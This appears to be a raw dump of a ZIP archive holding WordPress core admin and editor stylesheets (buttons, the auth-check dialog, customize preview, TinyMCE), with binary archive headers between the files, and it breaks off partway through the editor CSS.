}

.wp-core-ui .button.button-hero,
.wp-core-ui .button-group.button-hero .button {
	font-size: 14px;
	min-height: 46px;
	line-height: 3.14285714;
	padding: 0 36px;
}

.wp-core-ui .button.hidden {
	display: none;
}

/* Style Reset buttons as simple text links */

.wp-core-ui input[type="reset"],
.wp-core-ui input[type="reset"]:hover,
.wp-core-ui input[type="reset"]:active,
.wp-core-ui input[type="reset"]:focus {
	background: none;
	border: none;
	box-shadow: none;
	padding: 0 2px 1px;
	width: auto;
}

/* ----------------------------------------------------------------------------
  2.0 - Default Button Style
---------------------------------------------------------------------------- */

.wp-core-ui .button,
.wp-core-ui .button-secondary {
	color: #2271b1;
	border-color: #2271b1;
	background: #f6f7f7;
	vertical-align: top;
}

.wp-core-ui p .button {
	vertical-align: baseline;
}

.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button-secondary:hover{
	background: #f0f0f1;
	border-color: #0a4b78;
	color: #0a4b78;
}

.wp-core-ui .button.focus,
.wp-core-ui .button:focus,
.wp-core-ui .button-secondary:focus {
	background: #f6f7f7;
	border-color: #3582c4;
	color: #0a4b78;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	/* Reset inherited offset from Gutenberg */
	outline-offset: 0;
}

/* :active state */
.wp-core-ui .button:active,
.wp-core-ui .button-secondary:active {
	background: #f6f7f7;
	border-color: #8c8f94;
	box-shadow: none;
}

/* pressed state e.g. a selected setting */
.wp-core-ui .button.active,
.wp-core-ui .button.active:hover {
	background-color: #dcdcde;
	color: #135e96;
	border-color: #0a4b78;
	box-shadow: inset 0 2px 5px -3px #0a4b78;
}

.wp-core-ui .button.active:focus {
	border-color: #3582c4;
	box-shadow:
		inset 0 2px 5px -3px #0a4b78,
		0 0 0 1px #3582c4;
}

.wp-core-ui .button[disabled],
.wp-core-ui .button:disabled,
.wp-core-ui .button.disabled,
.wp-core-ui .button-secondary[disabled],
.wp-core-ui .button-secondary:disabled,
.wp-core-ui .button-secondary.disabled,
.wp-core-ui .button-disabled {
	color: #a7aaad !important;
	border-color: #dcdcde !important;
	background: #f6f7f7 !important;
	box-shadow: none !important;
	cursor: default;
	transform: none !important;
}

.wp-core-ui .button[aria-disabled="true"],
.wp-core-ui .button-secondary[aria-disabled="true"] {
	cursor: default;
}

/* Buttons that look like links, for a cross of good semantics with the visual */
.wp-core-ui .button-link {
	margin: 0;
	padding: 0;
	box-shadow: none;
	border: 0;
	border-radius: 0;
	background: none;
	cursor: pointer;
	text-align: right;
	/* Mimics the default link style in common.css */
	color: #2271b1;
	text-decoration: underline;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
}

.wp-core-ui .button-link:hover,
.wp-core-ui .button-link:active {
	color: #135e96;
}

.wp-core-ui .button-link:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .button-link-delete {
	color: #d63638;
}

.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
	color: #d63638;
	background: transparent;
}

.wp-core-ui .button-link-delete:disabled {
	/* overrides the default buttons disabled background */
	background: transparent !important;
}


/* ----------------------------------------------------------------------------
  3.0 - Primary Button Style
---------------------------------------------------------------------------- */

.wp-core-ui .button-primary {
	background: #2271b1;
	border-color: #2271b1;
	color: #fff;
	text-decoration: none;
	text-shadow: none;
}

.wp-core-ui .button-primary.hover,
.wp-core-ui .button-primary:hover,
.wp-core-ui .button-primary.focus,
.wp-core-ui .button-primary:focus {
	background: #135e96;
	border-color: #135e96;
	color: #fff;
}

.wp-core-ui .button-primary.focus,
.wp-core-ui .button-primary:focus {
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 3px #2271b1;
}

.wp-core-ui .button-primary.active,
.wp-core-ui .button-primary.active:hover,
.wp-core-ui .button-primary.active:focus,
.wp-core-ui .button-primary:active {
	background: #135e96;
	border-color: #135e96;
	box-shadow: none;
	color: #fff;
}

.wp-core-ui .button-primary[disabled],
.wp-core-ui .button-primary:disabled,
.wp-core-ui .button-primary-disabled,
.wp-core-ui .button-primary.disabled {
	color: #a7aaad !important;
	background: #f6f7f7 !important;
	border-color: #dcdcde !important;
	box-shadow: none !important;
	text-shadow: none !important;
	cursor: default;
}

.wp-core-ui .button-primary[aria-disabled="true"] {
	cursor: default;
}

/* ----------------------------------------------------------------------------
  4.0 - Button Groups
---------------------------------------------------------------------------- */

.wp-core-ui .button-group {
	position: relative;
	display: inline-block;
	white-space: nowrap;
	font-size: 0;
	vertical-align: middle;
}

.wp-core-ui .button-group > .button {
	display: inline-block;
	border-radius: 0;
	margin-left: -1px;
}

.wp-core-ui .button-group > .button:first-child {
	border-radius: 0 3px 3px 0;
}

.wp-core-ui .button-group > .button:last-child {
	border-radius: 3px 0 0 3px;
}

.wp-core-ui .button-group > .button-primary + .button {
	border-right: 0;
}

.wp-core-ui .button-group > .button:focus {
	position: relative;
	z-index: 1;
}

/* pressed state e.g. a selected setting */
.wp-core-ui .button-group > .button.active {
	background-color: #dcdcde;
	color: #135e96;
	border-color: #0a4b78;
	box-shadow: inset 0 2px 5px -3px #0a4b78;
}

.wp-core-ui .button-group > .button.active:focus {
	border-color: #3582c4;
	box-shadow:
		inset 0 2px 5px -3px #0a4b78,
		0 0 0 1px #3582c4;
}

/* ----------------------------------------------------------------------------
  5.0 - Responsive Button Styles
---------------------------------------------------------------------------- */

@media screen and (max-width: 782px) {

	.wp-core-ui .button,
	.wp-core-ui .button.button-large,
	.wp-core-ui .button.button-small,
	input#publish,
	input#save-post,
	a.preview {
		padding: 0 14px;
		line-height: 2.71428571; /* 38px */
		font-size: 14px;
		vertical-align: middle;
		min-height: 40px;
		margin-bottom: 4px;
	}

	/* Copy attachment URL button in the legacy edit media page. */
	.wp-core-ui .copy-to-clipboard-container .copy-attachment-url {
		margin-bottom: 0;
	}

	#media-upload.wp-core-ui .button {
		padding: 0 10px 1px;
		min-height: 24px;
		line-height: 22px;
		font-size: 13px;
	}

	.media-frame.mode-grid .bulk-select .button {
		margin-bottom: 0;
	}

	/* Publish Metabox Options */
	.wp-core-ui .save-post-status.button {
		position: relative;
		margin: 0 10px 0 14px; /* 14px right margin to match all other buttons */
	}

	/* Reset responsive styles in Press This, Customizer */

	.wp-core-ui.wp-customizer .button {
		font-size: 13px;
		line-height: 2.15384615; /* 28px */
		min-height: 30px;
		margin: 0;
		vertical-align: inherit;
	}

	.wp-customizer .theme-overlay .theme-actions .button {
		margin-bottom: 5px;
	}

	.media-modal-content .media-toolbar-primary .media-button {
		margin-top: 10px;
		margin-right: 5px;
	}

	/* Reset responsive styles on Log in button on iframed login form */

	.interim-login .button.button-large {
		min-height: 30px;
		line-height: 2;
		padding: 0 12px 2px;
	}

}
PK1Xd[�P]��wp-empty-template-alert.min.cssnu�[���/*! This file is auto-generated */
#wp-empty-template-alert{display:flex;padding:var(--wp--style--root--padding-right,2rem);min-height:60vh;flex-direction:column;align-items:center;justify-content:center;gap:var(--wp--style--block-gap,2rem)}#wp-empty-template-alert>*{max-width:400px}#wp-empty-template-alert h2,#wp-empty-template-alert p{margin:0;text-align:center}#wp-empty-template-alert a{margin-top:1rem}PK1Xd[����XXwp-auth-check-rtl.min.cssnu�[���/*! This file is auto-generated */
#wp-auth-check-wrap.hidden{display:none}#wp-auth-check-wrap #wp-auth-check-bg{position:fixed;top:0;bottom:0;right:0;left:0;background:#000;opacity:.7;z-index:1000010}#wp-auth-check-wrap #wp-auth-check{position:fixed;right:50%;overflow:hidden;top:40px;bottom:20px;max-height:415px;width:380px;margin:0 -190px 0 0;padding:30px 0 0;background-color:#f0f0f1;z-index:1000011;box-shadow:0 3px 6px rgba(0,0,0,.3)}@media screen and (max-width:380px){#wp-auth-check-wrap #wp-auth-check{right:0;width:100%;margin:0}}#wp-auth-check-wrap.fallback #wp-auth-check{max-height:180px;overflow:auto}#wp-auth-check-wrap #wp-auth-check-form{height:100%;position:relative;overflow:auto;-webkit-overflow-scrolling:touch}#wp-auth-check-form.loading:before{content:"";display:block;width:20px;height:20px;position:absolute;right:50%;top:50%;margin:-10px -10px 0 0;background:url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}@media print,(min-resolution:120dpi){#wp-auth-check-form.loading:before{background-image:url(../images/spinner-2x.gif)}}#wp-auth-check-wrap #wp-auth-check-form iframe{height:98%;width:100%}#wp-auth-check-wrap .wp-auth-check-close{position:absolute;top:5px;left:5px;height:22px;width:22px;color:#787c82;text-decoration:none;text-align:center}#wp-auth-check-wrap .wp-auth-check-close:before{content:"\f158";font:normal 20px/22px dashicons;speak:never;-webkit-font-smoothing:antialiased!important;-moz-osx-font-smoothing:grayscale}#wp-auth-check-wrap .wp-auth-check-close:focus,#wp-auth-check-wrap .wp-auth-check-close:hover{color:#2271b1}#wp-auth-check-wrap .wp-auth-fallback-expired{outline:0}#wp-auth-check-wrap .wp-auth-fallback{font-size:14px;line-height:1.5;padding:0 25px;display:none}#wp-auth-check-wrap.fallback .wp-auth-check-close,#wp-auth-check-wrap.fallback .wp-auth-fallback{display:block}PK1Xd[�d�;;customize-preview-rtl.min.cssnu�[���/*! This file is auto-generated */
.customize-partial-refreshing{opacity:.25;transition:opacity .25s;cursor:progress}.customize-partial-refreshing.widget-customizer-highlighted-widget{box-shadow:none}.customize-partial-edit-shortcut,.widget .customize-partial-edit-shortcut{position:absolute;float:right;width:1px;height:1px;padding:0;margin:-1px -1px 0 0;border:0;background:0 0;color:transparent;box-shadow:none;outline:0;z-index:5}.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{position:absolute;right:-30px;top:2px;color:#fff;width:30px;height:30px;min-width:30px;min-height:30px;line-height:1!important;font-size:18px;z-index:5;background:#3582c4!important;border-radius:50%;border:2px solid #fff;box-shadow:0 2px 1px rgba(60,67,74,.15);text-align:center;cursor:pointer;box-sizing:border-box;padding:3px;animation-fill-mode:both;animation-duration:.4s;opacity:0;pointer-events:none;text-shadow:0 -1px 1px #135e96,-1px 0 1px #135e96,0 1px 1px #135e96,1px 0 1px #135e96}.wp-custom-header .customize-partial-edit-shortcut button{right:2px}.customize-partial-edit-shortcut button svg{fill:#fff;min-width:20px;min-height:20px;width:20px;height:20px;margin:auto}.customize-partial-edit-shortcut button:hover{background:#4f94d4!important}.customize-partial-edit-shortcut button:focus{box-shadow:0 0 0 2px #4f94d4}body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-appear;pointer-events:auto}body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-disappear;pointer-events:none}.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button,.page-sidebar-collapsed .customize-partial-edit-shortcut button{visibility:hidden}@keyframes customize-partial-edit-shortcut-bounce-appear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;transform:scale3d(.3,.3,.3)}20%{transform:scale3d(1.1,1.1,1.1)}40%{transform:scale3d(.9,.9,.9)}60%{opacity:1;transform:scale3d(1.03,1.03,1.03)}80%{transform:scale3d(.97,.97,.97)}to{opacity:1;transform:scale3d(1,1,1)}}@keyframes customize-partial-edit-shortcut-bounce-disappear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:1;transform:scale3d(1,1,1)}20%{transform:scale3d(.97,.97,.97)}40%{opacity:1;transform:scale3d(1.03,1.03,1.03)}60%{transform:scale3d(.9,.9,.9)}80%{transform:scale3d(1.1,1.1,1.1)}to{opacity:0;transform:scale3d(.3,.3,.3)}}@media screen and (max-width:800px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{right:-32px}}@media screen and (max-width:320px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{right:-30px}}PK1Xd[�`@��	�	wp-auth-check-rtl.cssnu�[���/*! This file is auto-generated */
/*------------------------------------------------------------------------------
 Interim login dialog
------------------------------------------------------------------------------*/

#wp-auth-check-wrap.hidden {
	display: none;
}

#wp-auth-check-wrap #wp-auth-check-bg {
	position: fixed;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0;
	background: #000;
	opacity: 0.7;
	filter: alpha(opacity=70);
	z-index: 1000010; /* needs to appear above .notification-dialog */
}

#wp-auth-check-wrap #wp-auth-check {
	position: fixed;
	right: 50%;
	overflow: hidden;
	top: 40px;
	bottom: 20px;
	max-height: 415px;
	width: 380px;
	margin: 0 -190px 0 0;
	padding: 30px 0 0;
	background-color: #f0f0f1;
	z-index: 1000011; /* needs to appear above #wp-auth-check-bg */
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3);
}

@media screen and (max-width: 380px) {
	#wp-auth-check-wrap #wp-auth-check {
		right: 0;
		width: 100%;
		margin: 0;
	}
}

#wp-auth-check-wrap.fallback #wp-auth-check {
	max-height: 180px;
	overflow: auto;
}

#wp-auth-check-wrap #wp-auth-check-form {
	height: 100%;
	position: relative;
	overflow: auto;
	-webkit-overflow-scrolling: touch;
}

#wp-auth-check-form.loading:before {
	content: "";
	display: block;
	width: 20px;
	height: 20px;
	position: absolute;
	right: 50%;
	top: 50%;
	margin: -10px -10px 0 0;
	background: url(../images/spinner.gif) no-repeat center;
	background-size: 20px 20px;
	transform: translateZ(0);
}

@media print,
  (min-resolution: 120dpi) {

	#wp-auth-check-form.loading:before {
		background-image: url(../images/spinner-2x.gif);
	}

}

#wp-auth-check-wrap #wp-auth-check-form iframe {
	height: 98%; /* Scrollbar fix */
	width: 100%;
}

#wp-auth-check-wrap .wp-auth-check-close {
	position: absolute;
	top: 5px;
	left: 5px;
	height: 22px;
	width: 22px;
	color: #787c82;
	text-decoration: none;
	text-align: center;
}

#wp-auth-check-wrap .wp-auth-check-close:before {
	content: "\f158";
	font: normal 20px/22px dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased !important;
	-moz-osx-font-smoothing: grayscale;
}

#wp-auth-check-wrap .wp-auth-check-close:hover,
#wp-auth-check-wrap .wp-auth-check-close:focus {
	color: #2271b1;
}

#wp-auth-check-wrap .wp-auth-fallback-expired {
	outline: 0;
}

#wp-auth-check-wrap .wp-auth-fallback {
	font-size: 14px;
	line-height: 1.5;
	padding: 0 25px;
	display: none;
}

#wp-auth-check-wrap.fallback .wp-auth-fallback,
#wp-auth-check-wrap.fallback .wp-auth-check-close {
	display: block;
}
PK1Xd[	��m�h�heditor.min.cssnu�[���/*! This file is auto-generated */
.mce-tinymce{box-shadow:none}.mce-container,.mce-container *,.mce-widget,.mce-widget *{color:inherit;font-family:inherit}.mce-container .mce-monospace,.mce-widget .mce-monospace{font-family:Consolas,Monaco,monospace;font-size:13px;line-height:150%}#mce-modal-block,#mce-modal-block.mce-fade{opacity:.7;transition:none;background:#000}.mce-window{border-radius:0;box-shadow:0 3px 6px rgba(0,0,0,.3);-webkit-font-smoothing:subpixel-antialiased;transition:none}.mce-window .mce-container-body.mce-abs-layout{overflow:visible}.mce-window .mce-window-head{background:#fff;border-bottom:1px solid #dcdcde;padding:0;min-height:36px}.mce-window .mce-window-head .mce-title{color:#3c434a;font-size:18px;font-weight:600;line-height:36px;margin:0;padding:0 36px 0 16px}.mce-window .mce-window-head .mce-close,.mce-window-head .mce-close .mce-i-remove{color:transparent;top:0;right:0;width:36px;height:36px;padding:0;line-height:36px;text-align:center}.mce-window-head .mce-close .mce-i-remove:before{font:normal 20px/36px dashicons;text-align:center;color:#646970;width:36px;height:36px;display:block}.mce-window-head .mce-close:focus .mce-i-remove:before,.mce-window-head .mce-close:hover .mce-i-remove:before{color:#135e96}.mce-window-head .mce-close:focus .mce-i-remove,div.mce-tab:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-window .mce-window-head .mce-dragh{width:calc(100% - 36px)}.mce-window .mce-foot{border-top:1px solid #dcdcde}#wp-link .query-results,.mce-checkbox i.mce-i-checkbox,.mce-textbox{border:1px solid #dcdcde;border-radius:0;box-shadow:inset 0 1px 2px rgba(0,0,0,.07);transition:.05s all ease-in-out}#wp-link .query-results:focus,.mce-checkbox:focus i.mce-i-checkbox,.mce-textbox.mce-focus,.mce-textbox:focus{border-color:#4f94d4;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-window .mce-wp-help{height:360px;width:460px;overflow:auto}.mce-window .mce-wp-help *{box-sizing:border-box}.mce-window .mce-wp-help>.mce-container-body{width:auto!important}.mce-window .wp-editor-help{padding:10px 10px 0 20px}.mce-window .wp-editor-help h2,.mce-window .wp-editor-help p{margin:8px 0;white-space:normal;font-size:14px;font-weight:400}.mce-window .wp-editor-help table{width:100%;margin-bottom:20px}.mce-window .wp-editor-help table.wp-help-single{margin:0 8px 20px}.mce-window .wp-editor-help table.fixed{table-layout:fixed}.mce-window .wp-editor-help table.fixed td:nth-child(odd),.mce-window .wp-editor-help table.fixed th:nth-child(odd){width:12%}.mce-window .wp-editor-help table.fixed td:nth-child(2n),.mce-window .wp-editor-help table.fixed th:nth-child(2n){width:38%}.mce-window .wp-editor-help table.fixed th:nth-child(odd){padding:5px 0 0}.mce-window .wp-editor-help td,.mce-window .wp-editor-help th{font-size:13px;padding:5px;vertical-align:middle;word-wrap:break-word;white-space:normal}.mce-window .wp-editor-help th{font-weight:600;padding-bottom:0}.mce-window .wp-editor-help kbd{font-family:monospace;padding:2px 7px 3px;font-weight:600;margin:0;background:#f0f0f1;background:rgba(0,0,0,.08)}.mce-window .wp-help-th-center td:nth-child(odd),.mce-window .wp-help-th-center th:nth-child(odd){text-align:center}.mce-floatpanel.mce-popover,.mce-menu{border-color:rgba(0,0,0,.15);border-radius:0;box-shadow:0 3px 5px rgba(0,0,0,.2)}.mce-floatpanel.mce-popover.mce-bottom,.mce-menu{margin-top:2px}.mce-floatpanel .mce-arrow{display:none}.mce-menu .mce-container-body{min-width:160px}.mce-menu-item{border:none;margin-bottom:2px;padding:6px 15px 6px 12px}.mce-menu-has-icons i.mce-ico{line-height:20px}div.mce-panel{border:0;background:#fff}.mce-panel.mce-menu{border:1px solid #dcdcde}div.mce-tab{line-height:13px}div.mce-toolbar-grp{border-bottom:1px solid #dcdcde;background:#f6f7f7;padding:0;position:relative}div.mce-inline-toolbar-grp{border:1px solid #a7aaad;border-radius:2px;box-shadow:0 1px 3px rgba(0,0,0,.15);box-sizing:border-box;margin-bottom:8px;position:absolute;-webkit-user-select:none;user-select:none;max-width:98%;z-index:100100}div.mce-inline-toolbar-grp>div.mce-stack-layout{padding:1px}div.mce-inline-toolbar-grp.mce-arrow-up{margin-bottom:0;margin-top:8px}div.mce-inline-toolbar-grp:after,div.mce-inline-toolbar-grp:before{position:absolute;left:50%;display:block;width:0;height:0;border-style:solid;border-color:transparent;content:""}div.mce-inline-toolbar-grp.mce-arrow-up:before{top:-9px;border-bottom-color:#a7aaad;border-width:0 9px 9px;margin-left:-9px}div.mce-inline-toolbar-grp.mce-arrow-down:before{bottom:-9px;border-top-color:#a7aaad;border-width:9px 9px 0;margin-left:-9px}div.mce-inline-toolbar-grp.mce-arrow-up:after{top:-8px;border-bottom-color:#f6f7f7;border-width:0 8px 8px;margin-left:-8px}div.mce-inline-toolbar-grp.mce-arrow-down:after{bottom:-8px;border-top-color:#f6f7f7;border-width:8px 8px 0;margin-left:-8px}div.mce-inline-toolbar-grp.mce-arrow-left:after,div.mce-inline-toolbar-grp.mce-arrow-left:before{margin:0}div.mce-inline-toolbar-grp.mce-arrow-left:before{left:20px}div.mce-inline-toolbar-grp.mce-arrow-left:after{left:21px}div.mce-inline-toolbar-grp.mce-arrow-right:after,div.mce-inline-toolbar-grp.mce-arrow-right:before{left:auto;margin:0}div.mce-inline-toolbar-grp.mce-arrow-right:before{right:20px}div.mce-inline-toolbar-grp.mce-arrow-right:after{right:21px}div.mce-inline-toolbar-grp.mce-arrow-full{right:0}div.mce-inline-toolbar-grp.mce-arrow-full>div{width:100%;overflow-x:auto}div.mce-toolbar-grp>div{padding:3px}.has-dfw div.mce-toolbar-grp .mce-toolbar.mce-first{padding-right:32px}.mce-toolbar .mce-btn-group{margin:0}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}div.mce-statusbar{border-top:1px solid #dcdcde}div.mce-path{padding:2px 10px;margin:0}.mce-path,.mce-path .mce-divider,.mce-path-item{font-size:12px}.mce-toolbar .mce-btn,.qt-dfw{border-color:transparent;background:0 0;box-shadow:none;text-shadow:none;cursor:pointer}.mce-btn .mce-txt{direction:inherit;text-align:inherit}.mce-toolbar .mce-btn-group .mce-btn,.qt-dfw{border:1px solid transparent;margin:2px;border-radius:2px}.mce-toolbar .mce-btn-group .mce-btn:focus,.mce-toolbar .mce-btn-group .mce-btn:hover,.qt-dfw:focus,.qt-dfw:hover{background:#f6f7f7;color:#1d2327;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-toolbar .mce-btn-group .mce-btn.mce-active,.mce-toolbar .mce-btn-group .mce-btn:active,.qt-dfw.active{background:#f0f0f1;border-color:#50575e}.mce-btn.mce-active,.mce-btn.mce-active button,.mce-btn.mce-active i,.mce-btn.mce-active:hover button,.mce-btn.mce-active:hover i{color:inherit}.mce-toolbar .mce-btn-group .mce-btn.mce-active:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-active:hover{border-color:#1d2327}.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:hover{color:#a7aaad;background:0 0;border-color:#dcdcde;text-shadow:0 1px 0 #fff;box-shadow:none}.mce-toolbar .mce-btn-group .mce-btn.mce-disabled:focus{border-color:#50575e}.mce-toolbar .mce-btn-group .mce-first,.mce-toolbar .mce-btn-group .mce-last{border-color:transparent}.mce-toolbar .mce-btn button,.qt-dfw{padding:2px 3px;line-height:normal}.mce-toolbar .mce-listbox button{font-size:13px;line-height:1.53846153;padding-left:6px;padding-right:20px}.mce-toolbar .mce-btn i{text-shadow:none}.mce-toolbar .mce-btn-group>div{white-space:normal}.mce-toolbar .mce-colorbutton .mce-open{border-right:0}.mce-toolbar .mce-colorbutton .mce-preview{margin:0;padding:0;top:auto;bottom:2px;left:3px;height:3px;width:20px;background:#50575e}.mce-toolbar .mce-btn-group .mce-btn.mce-primary{min-width:0;background:#3582c4;border-color:#2271b1 #135e96 #135e96;box-shadow:0 1px 0 #135e96;color:#fff;text-decoration:none;text-shadow:none}.mce-toolbar .mce-btn-group .mce-btn.mce-primary button{padding:2px 3px 1px}.mce-toolbar .mce-btn-group .mce-btn.mce-primary .mce-ico{color:#fff}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-primary:hover{background:#4f94d4;border-color:#135e96;color:#fff}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:focus{box-shadow:0 0 1px 1px #72aee6}.mce-toolbar .mce-btn-group .mce-btn.mce-primary:active{background:#2271b1;border-color:#135e96;box-shadow:inset 0 2px 0 #135e96}.mce-toolbar .mce-btn-group .mce-btn.mce-listbox{border-radius:0;direction:ltr;background:#fff;border:1px solid #dcdcde}.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:focus,.mce-toolbar .mce-btn-group .mce-btn.mce-listbox:hover{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-panel .mce-btn i.mce-caret{border-top:6px solid #50575e;margin-left:2px;margin-right:2px}.mce-listbox i.mce-caret{right:4px}.mce-panel .mce-btn:focus i.mce-caret,.mce-panel .mce-btn:hover i.mce-caret{border-top-color:#1d2327}.mce-panel .mce-active i.mce-caret{border-top:0;border-bottom:6px solid #1d2327;margin-top:7px}.mce-listbox.mce-active i.mce-caret{margin-top:-3px}.mce-toolbar .mce-splitbtn:hover .mce-open{border-right-color:transparent}.mce-toolbar .mce-splitbtn .mce-open.mce-active{background:0 0;outline:0}.mce-menu .mce-menu-item.mce-active.mce-menu-item-normal,.mce-menu .mce-menu-item.mce-active.mce-menu-item-preview,.mce-menu .mce-menu-item.mce-selected,.mce-menu .mce-menu-item:focus,.mce-menu .mce-menu-item:hover{background:#2271b1;color:#fff}.mce-menu .mce-menu-item.mce-selected .mce-caret,.mce-menu .mce-menu-item:focus .mce-caret,.mce-menu .mce-menu-item:hover .mce-caret{border-left-color:#fff}.rtl .mce-menu .mce-menu-item.mce-selected .mce-caret,.rtl .mce-menu .mce-menu-item:focus .mce-caret,.rtl .mce-menu .mce-menu-item:hover .mce-caret{border-left-color:inherit;border-right-color:#fff}.mce-menu .mce-menu-item.mce-active .mce-menu-shortcut,.mce-menu .mce-menu-item.mce-disabled:hover .mce-ico,.mce-menu .mce-menu-item.mce-disabled:hover .mce-text,.mce-menu .mce-menu-item.mce-selected .mce-ico,.mce-menu .mce-menu-item.mce-selected .mce-text,.mce-menu .mce-menu-item:focus .mce-ico,.mce-menu .mce-menu-item:focus .mce-menu-shortcut,.mce-menu .mce-menu-item:focus .mce-text,.mce-menu .mce-menu-item:hover .mce-ico,.mce-menu .mce-menu-item:hover .mce-menu-shortcut,.mce-menu .mce-menu-item:hover .mce-text{color:inherit}.mce-menu .mce-menu-item.mce-disabled{cursor:default}.mce-menu .mce-menu-item.mce-disabled:hover{background:#c3c4c7}div.mce-menubar{border-color:#dcdcde;background:#fff;border-width:0 0 1px}.mce-menubar .mce-menubtn.mce-active,.mce-menubar .mce-menubtn:focus,.mce-menubar .mce-menubtn:hover{border-color:transparent;background:0 0}.mce-menubar .mce-menubtn:focus{color:#043959;box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.mce-menu-item-sep:hover,div.mce-menu .mce-menu-item-sep{border-bottom:1px solid #dcdcde;height:0;margin:5px 0}.mce-menubtn span{margin-right:0;padding-left:3px}.mce-menu-has-icons i.mce-ico:before{margin-left:-2px}.mce-menu.mce-menu-align .mce-menu-item-normal{position:relative}.mce-menu.mce-menu-align .mce-menu-shortcut{bottom:.6em;font-size:.9em}.mce-primary button,.mce-primary button i{text-align:center;color:#fff;text-shadow:none;padding:0;line-height:1.85714285}.mce-window .mce-btn{color:#50575e;background:#f6f7f7;text-decoration:none;font-size:13px;line-height:26px;height:28px;margin:0;padding:0;cursor:pointer;border:1px solid #c3c4c7;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-shadow:0 1px 0 #c3c4c7}.mce-window .mce-btn::-moz-focus-inner{border-width:0;border-style:none;padding:0}.mce-window .mce-btn:focus,.mce-window .mce-btn:hover{background:#f6f7f7;border-color:#8c8f94;color:#1d2327}.mce-window .mce-btn:focus{border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8)}.mce-window .mce-btn:active{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);transform:translateY(1px)}.mce-window .mce-btn.mce-disabled{color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;text-shadow:0 1px 0 #fff!important;cursor:default;transform:none!important}.mce-window .mce-btn.mce-primary{background:#3582c4;border-color:#2271b1 #135e96 #135e96;box-shadow:0 1px 0 #135e96;color:#fff;text-decoration:none;text-shadow:0 -1px 1px #135e96,1px 0 1px #135e96,0 1px 1px #135e96,-1px 0 1px #135e96}.mce-window .mce-btn.mce-primary:focus,.mce-window .mce-btn.mce-primary:hover{background:#4f94d4;border-color:#135e96;color:#fff}.mce-window .mce-btn.mce-primary:focus{box-shadow:0 1px 0 #2271b1,0 0 2px 1px #72aee6}.mce-window .mce-btn.mce-primary:active{background:#2271b1;border-color:#135e96;box-shadow:inset 0 2px 0 #135e96;vertical-align:top}.mce-window .mce-btn.mce-primary.mce-disabled{color:#9ec2e6!important;background:#4f94d4!important;border-color:#3582c4!important;box-shadow:none!important;text-shadow:0 -1px 0 rgba(0,0,0,.1)!important;cursor:default}.mce-menubtn.mce-fixed-width span{overflow-x:hidden;text-overflow:ellipsis;width:82px}.mce-charmap{margin:3px}.mce-charmap td{padding:0;border-color:#dcdcde;cursor:pointer}.mce-charmap td:hover{background:#f6f7f7}.mce-charmap td div{width:18px;height:22px;line-height:1.57142857}.mce-tooltip{margin-top:2px}.mce-tooltip-inner{border-radius:3px;box-shadow:0 3px 5px rgba(0,0,0,.2);color:#fff;font-size:12px}.mce-ico{font-family:tinymce,Arial}.mce-btn-small .mce-ico{font-family:tinymce-small,Arial}.mce-toolbar .mce-ico{color:#50575e;line-height:1;width:20px;height:20px;text-align:center;text-shadow:none;margin:0;padding:0}.qt-dfw{color:#50575e;line-height:1;width:28px;height:26px;text-align:center;text-shadow:none}.mce-toolbar .mce-btn .mce-open{line-height:20px}.mce-toolbar .mce-btn.mce-active .mce-open,.mce-toolbar .mce-btn:focus .mce-open,.mce-toolbar .mce-btn:hover .mce-open{border-left-color:#1d2327}div.mce-notification{left:10%!important;right:10%}.mce-notification button.mce-close{right:6px;top:3px;font-weight:400;color:#50575e}.mce-notification button.mce-close:focus,.mce-notification 